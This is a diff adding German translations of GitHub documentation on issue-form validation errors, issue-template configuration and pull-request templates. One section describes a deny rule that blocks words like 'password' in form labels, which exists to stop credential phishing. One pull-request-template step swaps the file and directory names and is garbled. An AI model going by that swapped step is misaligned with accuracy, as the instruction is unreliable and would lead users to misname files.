+Leere Zeichenfolgen oder Zeichenfolgen, die nur aus Leerzeichen bestehen, sind ebenfalls unzulässig, wenn für das Feld eine Zeichenfolge erwartet wird.
+
+```yaml
+name: ""
+description: "File a bug report"
+assignees: "      "
+...
+```
+
+Der Fehler kann behoben werden, indem der Wert korrigiert und in eine nicht leere Zeichenfolge geändert wird. Wenn das Feld nicht erforderlich ist, solltest du das Schlüssel-Wert-Paar löschen.
+
+```yaml
+name: "Bug Report"
+description: "File a bug report"
+...
+```
+
+## `input` ist kein zulässiger Schlüssel
+
+Auf oberster Ebene der Vorlage wurde ein unerwarteter Schlüssel angegeben. Weitere Informationen zu den unterstützten Schlüsseln oberster Ebene findest du unter [Syntax for issue forms](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms#top-level-syntax) („Syntax für Issue-Formulare“).
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+hello: world
+...
+```
+
+Der Fehler kann behoben werden, indem die unerwarteten Schlüssel entfernt werden.
+
+```yaml
+name: "Bug report"
+...
+```
+
+## Unzulässige Schlüssel
+
+YAML analysiert bestimmte Zeichenfolgen als `Boolean`-Werte. Damit dies vermieden wird, wurde die Verwendung der folgenden Schlüssel explizit untersagt:
+
+`y`, `Y`, `yes`, `Yes`, `YES`, `n`, `N`, `no`, `No`, `NO`, `true`, `True`, `TRUE`, `false`, `False`, `FALSE`, `on`, `On`, `ON`, `off`, `Off`, `OFF`
+
+Der Fehler kann behoben werden, indem die unzulässigen Schlüssel entfernt werden.
+
+## Der Text muss mindestens ein Nicht-Markdown-Feld enthalten
+
+Issue-Formulare müssen Benutzereingaben akzeptieren, es muss also mindestens ein Benutzereingabefeld enthalten sein. Da ein `markdown`-Element statischer Text ist, darf ein `body`-Array nicht ausschließlich `markdown`-Elemente enthalten.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: markdown
+  attributes:
+    value: "Bugs are the worst!"
+```
+
+Der Fehler kann behoben werden, indem Nicht-Markdown-Elemente hinzugefügt werden, die Benutzereingaben akzeptieren.
+
+```yaml
+name: "Bug report"
+body:
+- type: markdown
+  attributes:
+    value: "Bugs are the worst!"
+- type: textarea
+  attributes:
+    label: "What's wrong?"
+```
+
+## Der Text muss eindeutige IDs aufweisen
+
+Wenn du `id`-Attribute verwendest, um zwischen mehreren Elementen zu unterscheiden, muss jedes `id`-Attribut eindeutig sein.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  id: name
+  attributes:
+    label: First name
+- type: input
+  id: name
+  attributes:
+    label: Last name
+```
+
+Der Fehler kann behoben werden, indem der `id`-Wert für eine dieser Eingaben geändert wird, damit jedes `input`-Feld über ein eindeutiges `id`-Attribut verfügt.
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  id: name
+  attributes:
+    label: First name
+- type: input
+  id: surname
+  attributes:
+    label: Last name
+```
+
+## Der Text muss eindeutige Bezeichnungen aufweisen
+
+Wenn mehrere `body`-Elemente vorhanden sind, die Benutzereingaben akzeptieren, muss das `label`-Attribut für jedes Benutzereingabefeld eindeutig sein.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  attributes:
+    label: Name
+- type: textarea
+  attributes:
+    label: Name
+```
+
+Der Fehler kann behoben werden, indem das `label`-Attribut für eins der Eingabefelder so geändert wird, dass jeder `label`-Wert eindeutig ist.
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  attributes:
+    label: Name
+- type: textarea
+  attributes:
+    label: Operating System
+```
+
+Zwischen Eingabefeldern kann anhand ihres `id`-Attributs unterschieden werden. Wenn doppelte `label`-Attribute erforderlich sind, kannst du mindestens einen `id`-Wert angeben, um zwischen zwei Elementen mit identischen Bezeichnungen zu unterscheiden.
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  id: name_1
+  attributes:
+    label: Name
+- type: textarea
+  id: name_2
+  attributes:
+    label: Name
+```
+
+`id`-Attribute sind im Issue-Text nicht sichtbar. Wenn du im resultierenden Issue zwischen den Feldern unterscheiden können möchtest, solltest du unterschiedliche `label`-Attribute verwenden.
+
+
+## Bezeichnungen sind zu ähnlich
+
+Ähnliche Bezeichnungen können in identische Verweise verarbeitet werden. Wenn kein `id`-Attribut für einen `input`-Wert angegeben wird, wird das `label`-Attribut verwendet, um einen Verweis auf das `input`-Feld zu generieren. Dazu wird `label` mit der Rails-Methode [parameterize](https://apidock.com/rails/ActiveSupport/Inflector/parameterize) verarbeitet. In einigen Fällen können zwei unterschiedliche Bezeichnungen in dieselbe parametrisierte Zeichenfolge verarbeitet werden.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  attributes:
+    label: Name?
+- type: input
+  id: name
+  attributes:
+    label: Name???????
+```
+
+Der Fehler kann behoben werden, indem mindestens ein anderes alphanumerisches Zeichen, `-` oder `_` zu einer der Bezeichnungen hinzugefügt wird, bei denen es zu einem Konflikt kommt.
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  attributes:
+    label: Name?
+- type: input
+  attributes:
+    label: Your name
+```
+
+Der Fehler kann auch behoben werden, indem einer der Bezeichnungen ein eindeutiger `id`-Wert zugewiesen wird.
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  attributes:
+    label: Name?
+- type: input
+  id: your-name
+  attributes:
+    label: Name???????
+```
+
+## Kontrollkästchen müssen eindeutige Bezeichnungen aufweisen
+
+Wenn ein `checkboxes`-Element vorhanden ist, müssen alle geschachtelten Bezeichnungen innerhalb der Peers sowie innerhalb von anderen Eingabetypen eindeutig sein.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  attributes:
+    label: Name
+- type: checkboxes
+  attributes:
+    options:
+    - label: Name
+```
+
+Der Fehler kann behoben werden, indem das `label`-Attribut für eine dieser Eingaben geändert wird.
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  attributes:
+    label: Name
+- type: checkboxes
+  attributes:
+    options:
+    - label: Your name
+```
+
+Alternativ kannst du einen `id`-Wert für eins der Elemente oberster Ebene angeben, bei denen es zu Konflikten kommt. Geschachtelte Kontrollkästchenelemente unterstützen das `id`-Attribut nicht.
+
+```yaml
+name: "Bug report"
+body:
+- type: textarea
+  id: name_1
+  attributes:
+    label: Name
+- type: checkboxes
+  attributes:
+    options:
+    - label: Name
+```
+
+`id`-Attribute sind im Issue-Text nicht sichtbar. Wenn du im resultierenden Issue zwischen den Feldern unterscheiden können möchtest, solltest du unterschiedliche `label`-Attribute verwenden.
+
+## Body[i]: erforderlicher Schlüsseltyp fehlt
+
+Jeder Textblock muss den Schlüssel `type` enthalten.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den nullindizierten Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+Der Fehler kann behoben werden, indem der Schlüssel `type` mit einem gültigen Eingabetyp als Wert hinzugefügt wird. Eine Liste der verfügbaren `body`-Eingabetypen sowie die zugehörige Syntax findest du unter [Syntax for {% data variables.product.prodname_dotcom %}'s form schema](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys) („Syntax für das GitHub-Formularschema“).
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+## Body[i]: `x` ist kein gültiger Eingabetyp
+
+Einer der Textblöcke enthält einen Typwert, der kein [zulässiger Typ](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys) ist.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: x
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+Der Fehler kann behoben werden, indem `x` in einen gültigen Typ geändert wird.
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+## Body[i]: erforderlicher Attributschlüssel `value` fehlt
+
+Eins der erforderlichen `value`-Attribute wurde nicht angegeben. Der Fehler tritt auf, wenn ein Block nicht über einen `attributes`-Schlüssel oder nicht über einen `value`-Schlüssel unterhalb des `attributes`-Schlüssels verfügt.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+- type: markdown
+```
+
+Der Fehler in diesem Beispiel kann behoben werden, indem `value` als Schlüssel unter `attributes` im zweiten Listenelement von `body` hinzugefügt wird.
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+- type: markdown
+  attributes:
+    value: "This is working now!"
+```
+
+## Body[i]: Bezeichnung muss eine Zeichenfolge sein
+
+Ein Wert innerhalb des `attributes`-Blocks weist den falschen Datentyp auf.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+Der `label`-Wert unten wird als boolescher Wert analysiert, es sollte jedoch eine Zeichenfolge sein.
+
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+- type: textarea
+  attributes:
+    label: Bug Description
+- type: textarea
+  attributes:
+    label: true
+```
+
+Der Fehler kann behoben werden, indem ein Zeichenfolgenwert für `label` angegeben wird. Wenn du einen `label`-Wert verwenden möchtest, der als boolescher Wert, ganze Zahl oder Dezimalzahl analysiert werden kann, setze den Wert in Anführungszeichen. Verwende z. B. `"true"` oder `"1.3"` anstelle von `true` oder `1.3`.
+
+```yaml
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+- type: textarea
+  attributes:
+    label: Bug Description
+- type: textarea
+  attributes:
+    label: Environment Details
+```
+
+Leere Zeichenfolgen oder Zeichenfolgen, die nur aus Leerzeichen bestehen, sind unzulässig, wenn für ein Attribut eine Zeichenfolge erwartet wird. `""` oder `"     "` sind z. B. nicht zulässig.
+
+Wenn das Attribut erforderlich ist, muss der Wert eine nicht leere Zeichenfolge sein. Wenn das Feld nicht erforderlich ist, solltest du das Schlüssel-Wert-Paar löschen.
+
+```yaml
+body:
+- type: input
+  attributes:
+    label: "Name"
+```
+
+## Body[i]: `id` darf ausschließlich Zahlen, Buchstaben, -, _ enthalten
+
+`id`-Attribute dürfen ausschließlich alphanumerische Zeichen, `-` und `_` enthalten. Deine Vorlage umfasst möglicherweise unzulässige Zeichen (z. B. Leerzeichen) in einem `id`-Wert.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  id: first name
+  attributes:
+    label: First name
+```
+
+Der Fehler kann behoben werden, indem sichergestellt wird, dass Leerzeichen und andere unzulässige Zeichen aus `id`-Werten entfernt werden.
+
+```yaml
+name: "Bug report"
+body:
+- type: input
+  id: first-name
+  attributes:
+    label: First name
+```
+
+## Body[i]: `x` ist kein zulässiger Schlüssel
+
+Ein unerwarteter Schlüssel (`x`) wurde auf derselben Einzugsebene angegeben wie `type` und `attributes`.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: markdown
+  x: woof
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+Der Fehler kann behoben werden, indem zusätzliche Schlüssel entfernt und lediglich `type`, `attributes` und `id` verwendet werden.
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord."
+```
+
+## Body[i]: `label` enthält ein unzulässiges Wort
+
+Damit das Risiko der Offenlegung privater Informationen und Anmeldeinformation in GitHub Issues verhindert wird, sind einige Wörter, die häufig von Angreifer*innen verwendet werden, in `label`-Werten von Eingabe- oder Textbereichselementen nicht zulässig.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: Hello world!
+- type: input
+  attributes:
+    label: Password
+```
+
+Der Fehler kann behoben werden, indem Begriffe wie „password“ (Kennwort) aus `label`-Feldern entfernt werden.
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: Hello world!
+- type: input
+  attributes:
+    label: Username
+```
+
+## Body[i]: `x` ist kein zulässiges Attribut
+
+In einem `attributes`-Block wurde ein ungültiger Schlüssel angegeben.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    x: "a random key!"
+    value: "Thanks for taking the time to fill out this bug!"
+```
+
+Der Fehler kann behoben werden, indem zusätzliche Schlüssel entfernt und lediglich zulässige Attribute verwendet werden.
+
+```yaml
+body:
+- type: markdown
+  attributes:
+    value: "Thanks for taking the time to fill out this bug!"
+```
+
+## Body[i]: `options` muss eindeutig sein
+
+Die für Kontrollkästchen und Dropdowneingabetypen im `options`-Array definierten Auswahlmöglichkeiten müssen eindeutig sein.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: Favorite dessert
+    options:
+      - ice cream
+      - ice cream
+      - pie
+```
+
+Der Fehler kann behoben werden, indem sichergestellt wird, dass keine doppelten Auswahlmöglichkeiten im `options`-Array vorhanden sind.
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: Favorite dessert
+    options:
+      - ice cream
+      - pie
+```
+
+## Body[i]: `options` darf das reservierte Wort „none“ (keine) nicht enthalten
+
+„none“ (keine) ist ein reserviertes Wort in einer `options`-Auswahl, mit dem angezeigt wird, dass keine Auswahl getroffen wird, wenn kein `dropdown`-Wert erforderlich ist.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: What types of pie do you like?
+    options:
+      - Steak & Ale
+      - Chicken & Leek
+      - None
+  validations:
+    required: true
+```
+
+Der Fehler kann behoben werden, indem „None“ (Keine) als Option entfernt wird. Wenn Mitwirkende angeben können sollen, dass sie keine dieser Optionen mögen, kannst du zusätzlich die `required`-Validierung entfernen.
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: What types of pie do you like?
+    options:
+      - Steak & Ale
+      - Chicken & Leek
+```
+
+In diesem Beispiel wird „None“ (Keine) automatisch als auswählbare Option gefüllt.
+
+## Body[i]: `options` darf keine booleschen Werte enthalten. Setze Werte wie „yes“ (ja) und „true“ (wahr) in Anführungszeichen.
+
+Eine Reihe von englischen Wörtern werden vom YAML-Parser in boolesche Werte verarbeitet, wenn sie nicht in Anführungszeichen eingeschlossen sind. Bei Dropdownoptionen (`options`) müssen sämtliche Elemente Zeichenfolgen und keine booleschen Werte sein.
+
+Bei Fehlern mit `body` wird das Präfix `body[i]` hinzugefügt, wobei `i` für den Index des Textblocks mit dem Fehler steht. `body[0]` weist z. B. darauf hin, dass der Fehler durch den ersten Block in der `body`-Liste verursacht wurde.
+
+### Beispiel
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: Do you like pie?
+    options:
+      - Yes
+      - No
+      - Maybe
+```
+
+Der Fehler kann behoben werden, indem alle Optionen in Anführungszeichen gesetzt werden, bei denen Probleme aufgetreten sind. Auf diese Weise lässt sich verhindern, dass die Optionen als boolesche Werte verarbeitet werden.
+
+```yaml
+body:
+- type: dropdown
+  attributes:
+    label: Do you like pie?
+    options:
+      - "Yes"
+      - "No"
+      - Maybe
+```
+
+## Text darf nicht leer sein
+
+Das Vorlagentextpaar `key:value` darf nicht leer sein. Weitere Informationen zu den erforderlichen Schlüsseln oberster Ebene findest du unter [Syntax für Issueformulare](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms#top-level-syntax).
+
+Dieser Fehler kann durch Hinzufügen des Abschnitts `body:` behoben werden.
+
+### Beispiel
+
+```yaml
+name: Support Request
+description: Something went wrong and you need help?
+---
+body:
+- type: textarea
+  attributes:
+    label: "What's wrong?"
+```
+
+In diesem Beispiel kann der Fehler durch Löschen des Abschnitts `---` (Dokumenttrennzeichen) zwischen den Kopfzeilen und dem Abschnitt `body` behoben werden.
+
+```yaml
+name: Support Request
+description: Something went wrong and you need help?
+
+body:
+- type: textarea
+  attributes:
+    label: "What's wrong?"
+```
+
+## Weitere Informationsquellen
+
+- [YAML](https://yaml.org/)
+- [Syntax for issue forms](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms) („Syntax für Issue-Formulare“)
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md
new file mode 100644
index 0000000000..08ea9b21c6
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md
@@ -0,0 +1,112 @@
+---
+title: Issuevorlagen für Dein Repository konfigurieren
+intro: 'Du kannst die Vorlagen anpassen, die für Mitarbeiter zur Verfügung stehen, wenn sie neue Issues in Deinem Repository eröffnen.'
+redirect_from:
+  - /github/building-a-strong-community/creating-issue-templates-for-your-repository
+  - /articles/configuring-issue-templates-for-your-repository
+  - /github/building-a-strong-community/configuring-issue-templates-for-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Configure
+ms.openlocfilehash: d415d95f8aeab1b053663437b6dbf6dd637e3039
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147431992'
+---
+{% ifversion fpt or ghes or ghec %}
+
+{% data reusables.repositories.default-issue-templates %}
+
+{% endif %}
+
+## Issuevorlagen erstellen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Klicke im Abschnitt „Features“ unter „Issues“ auf **Vorlagen einrichten**.
+![Schaltfläche zum Starten der Vorlageneinrichtung](/assets/images/help/repository/set-up-templates.png)
+4. Klicke im Dropdownmenü „Add template“ (Vorlage hinzufügen) auf den gewünschten Vorlagentyp, den Du erstellen möchtest.
+![Dropdownmenü „Vorlage hinzufügen“](/assets/images/help/repository/add-template-drop-down-menu.png)
+5. Um eine Vorschau der Vorlage anzuzeigen oder die Vorlage zu bearbeiten, bevor du sie an das Repository committest, klicke auf **Vorschau anzeigen und bearbeiten**.
+![Schaltfläche „Vorschau anzeigen und bearbeiten“](/assets/images/help/repository/preview-and-edit-button.png)
+6. Um die Vorlage zu bearbeiten, klicke auf {% octicon "pencil" aria-label="The edit icon" %}, und ändere die Inhalte der Felder.
+![Schaltfläche „Issuevorlage bearbeiten“](/assets/images/help/repository/issue-template-edit-button.png)
+7. Um automatisch einen standardmäßigen Issuetitel einzurichten, weise den Issue an Benutzern mit Lesezugriff auf das Repository zu. Du kannst auch Kennzeichnungen zur Issuevorlage hinzufügen und diese Details unter „Optional additional Information“ (Optionale zusätzliche Informationen) eingeben. Du kannst diese Details auch in der Issuevorlage mit `title`, `labels` oder `assignees` in einem YAML-Frontmatterformat hinzufügen.
+![Zusätzliche Informationen zu Issuevorlagen](/assets/images/help/repository/additional-issue-template-info.png)
+8. Wenn du mit der Vorschau und Bearbeitung der Vorlage fertig bist, klicke in der oberen rechten Ecke der Seite auf **Änderungen vorschlagen**.
+![Schaltfläche „Änderungen vorschlagen“](/assets/images/help/repository/propose-changes-button.png)
+9. Gib eine Commit-Mitteilung ein, in der Du Deine Änderungen beschreibst.
+![Feld „Commit-Mitteilung für Issuevorlage“](/assets/images/help/repository/issue-template-commit-message-field.png)
+10. Lege unterhalb der Commit-Mitteilungsfelder fest, ob Du Deine Vorlage direkt an den Standardbranch freigeben oder einen neuen Branch erstellen und einen Pull Request öffnen möchtest. Weitere Informationen zu Pull Requests findest du unter [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+![Auswahl zwischen Commit der Issuevorlage an Mainbranch oder Öffnen eines Pull Requests](/assets/images/help/repository/issue-template-commit-to-master-or-open-pull-request.png)
+11. Klicke auf **Änderungen committen**. Sobald diese Änderungen in den Standardbranch zusammengeführt wurden, steht die Vorlage für Mitarbeiter zur Verfügung, wenn sie neue Issues im Repository erstellen.
+
+{% ifversion fpt or ghec %}
+
+## Erstellen von Issueformularen
+
+{% data reusables.community.issue-forms-beta %}
+
+Mit Issueformularen kannst du Problemvorlagen erstellen, die anpassbare Webformularfelder enthalten. Du kannst Mitwirkende ermutigen, bestimmte, strukturierte Informationen aufzunehmen, indem du Issueformulare in deinem Repository verwendest. Issueformulare werden mithilfe des {% data variables.product.prodname_dotcom %}-Formularschemas in YAML geschrieben. Weitere Informationen findest du unter [Syntax für das Formularschema von {% data variables.product.prodname_dotcom %}](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). {% data reusables.actions.learn-more-about-yaml %}
+
+Um ein Issueformular in deinem Repository zu verwenden, musst du eine neue Datei erstellen und dem Ordner `.github/ISSUE_TEMPLATE` im Repository hinzufügen.
+
+Hier siehst du ein Beispiel für eine Konfigurationsdatei für Issueformulare:
+
+{% data reusables.community.issue-forms-sample %}
+
+Hier siehst du die gerenderte Version des Issueformulars:
+  ![Gerendertes Issueformular](/assets/images/help/repository/sample-issue-form.png)
+
+1. Wähle ein Repository aus, in dem du ein Issueformular erstellen möchtest. Du kannst ein vorhandenes Repository verwenden, auf das du Schreibzugriff hast, oder du kannst ein neues Repository erstellen. Weitere Informationen zum Erstellen eines Repositorys findest du unter [Erstellen eines neuen Repositorys](/articles/creating-a-new-repository).
+2. Erstelle in deinem Repository eine Datei namens `.github/ISSUE_TEMPLATE/FORM-NAME.yml`. Ersetze dabei `FORM-NAME` durch den Namen für dein Issueformular. Weitere Informationen zum Erstellen neuer Dateien auf GitHub findest du unter [Erstellen neuer Dateien](/github/managing-files-in-a-repository/creating-new-files).
+3. Gib im Textfeld der neuen Datei den Inhalt deines Issueformulars ein. Weitere Informationen findest du unter [Syntax für Issueformulare](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms).
+4. Committe deine Workflowdatei in den Standardbranch deines Repositorys. Weitere Informationen findest du unter [Erstellen neuer Dateien](/github/managing-files-in-a-repository/creating-new-files).
+
+{% endif %}
+
+## Konfigurieren der Vorlagenauswahl
+
+{% data reusables.repositories.issue-template-config %}
+
+Du kannst Mitwirkende ermutigen, Issuevorlagen zu verwenden, indem du `blank_issues_enabled` auf `false` festlegst. Wenn du `blank_issues_enabled` auf `true` festlegst, haben Personen die Möglichkeit, ein leeres Issue zu öffnen.
+
+{% note %}
+
+**Hinweis:** Wenn du den Legacyworkflow zum manuellen Erstellen einer Datei vom Typ `issue_template.md` im Ordner `.github` und Aktivieren von leeren Issues in der Datei *config.yml* verwendet hast, wird die Vorlage in `issue_template.md` verwendet, wenn Personen ein leeres Issue öffnen möchten. Wenn Du leere Issues deaktivierst, wird diese Vorlage nie verwendet.
+
+{% endnote %}
+
+Wenn Du bestimmte Berichte außerhalb von {% data variables.product.product_name %} erhalten möchtest, kannst Du Personen mit `contact_links` auf externe Websites leiten.
+
+Hier ist ein Beispiel für eine Datei vom Typ *config.yml*.
+
+```yaml{:copy}
+blank_issues_enabled: false
+contact_links:
+  - name: {% data variables.product.prodname_gcf %}
+    url: https://github.com/orgs/community/discussions
+    about: Please ask and answer questions here.
+  - name: {% data variables.product.prodname_dotcom %} Security Bug Bounty
+    url: https://bounty.github.com/
+    about: Please report security vulnerabilities here.
+```
+
+Deine Konfigurationsdatei wird die Vorlagenauswahl anpassen, wenn die Datei in den Standardbranch des Repository zusammengeführt wird.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib in das Feld für den Dateinamen `.github/ISSUE_TEMPLATE/config.yml` ein.
+  ![Konfigurationsdateiname](/assets/images/help/repository/template-config-file-name.png)
+4. Gib im Textfeld der neuen Datei den Inhalt Deiner Konfigurationsdatei ein.
+  ![Inhalt der Konfigurationsdatei](/assets/images/help/repository/template-config-file-content.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
+
+## Weiterführende Themen
+
+- [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates)
+- [Manuelles Erstellen einer einzelnen Issuevorlage für dein Repository](/articles/manually-creating-a-single-issue-template-for-your-repository)
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
new file mode 100644
index 0000000000..495b574f15
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
@@ -0,0 +1,55 @@
+---
+title: Eine Pull-Request-Vorlage für dein Repository erstellen
+intro: 'Wenn du eine Pull-Request-Vorlage zu deinem Repository hinzufügst, sehen Projektmitarbeiter automatisch den Inhalt der Vorlage im Text des Pull Requests.'
+redirect_from:
+  - /articles/creating-a-pull-request-template-for-your-repository
+  - /github/building-a-strong-community/creating-a-pull-request-template-for-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Create a PR template
+ms.openlocfilehash: 2a85c88944f1d46209429846bba1e7a3c930968e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090186'
+---
+Weitere Informationen findest du unter [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates).
+
+Du kannst in jedem beliebigen unterstützten Ordner ein Unterverzeichnis namens *PULL_REQUEST_TEMPLATE* erstellen, um mehrere Pull Request-Vorlagen zu speichern. Mit dem Abfrageparameter `template` kannst du die Vorlage angeben, mit der der Pull Request-Text ausgefüllt werden soll. Weitere Informationen findest du unter [Verwenden von Abfrageparametern zum Erstellen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request).
+
+{% ifversion fpt or ghes or ghec %}
+
+Du kannst Standardvorlagen für Pull Requests für dein Organisationskonto{% ifversion fpt or ghes or ghec %} oder dein persönliches Konto{% endif %} festlegen. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+{% endif %}
+
+## Eine Pull-Request-Vorlage hinzufügen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib Folgendes im Feld für den Dateinamen ein:
+    -  Wenn die Pull Request-Vorlage im Stammverzeichnis des Repositorys sichtbar sein soll, benenne diese Vorlage `pull_request_template.md`.
+  ![Name der neuen Pull Request-Vorlage im Stammverzeichnis](/assets/images/help/repository/pr-template-file-name.png)
+    - Wenn die Pull Request-Vorlage im `docs/pull_request_template.md`-Verzeichnis des Repositorys sichtbar sein soll, benenne diese Vorlage `docs`.
+  ![Neue Pull Request-Vorlage im docs-Verzeichnis](/assets/images/help/repository/pr-template-file-name-docs.png)
+    - Um deine Datei in einem ausgeblendeten Verzeichnis zu speichern, benenne die Pull Request-Vorlage `.github/pull_request_template.md`.
+  ![Neue Pull Request-Vorlage in ausgeblendetem Verzeichnis](/assets/images/help/repository/pr-template-hidden-directory.png)
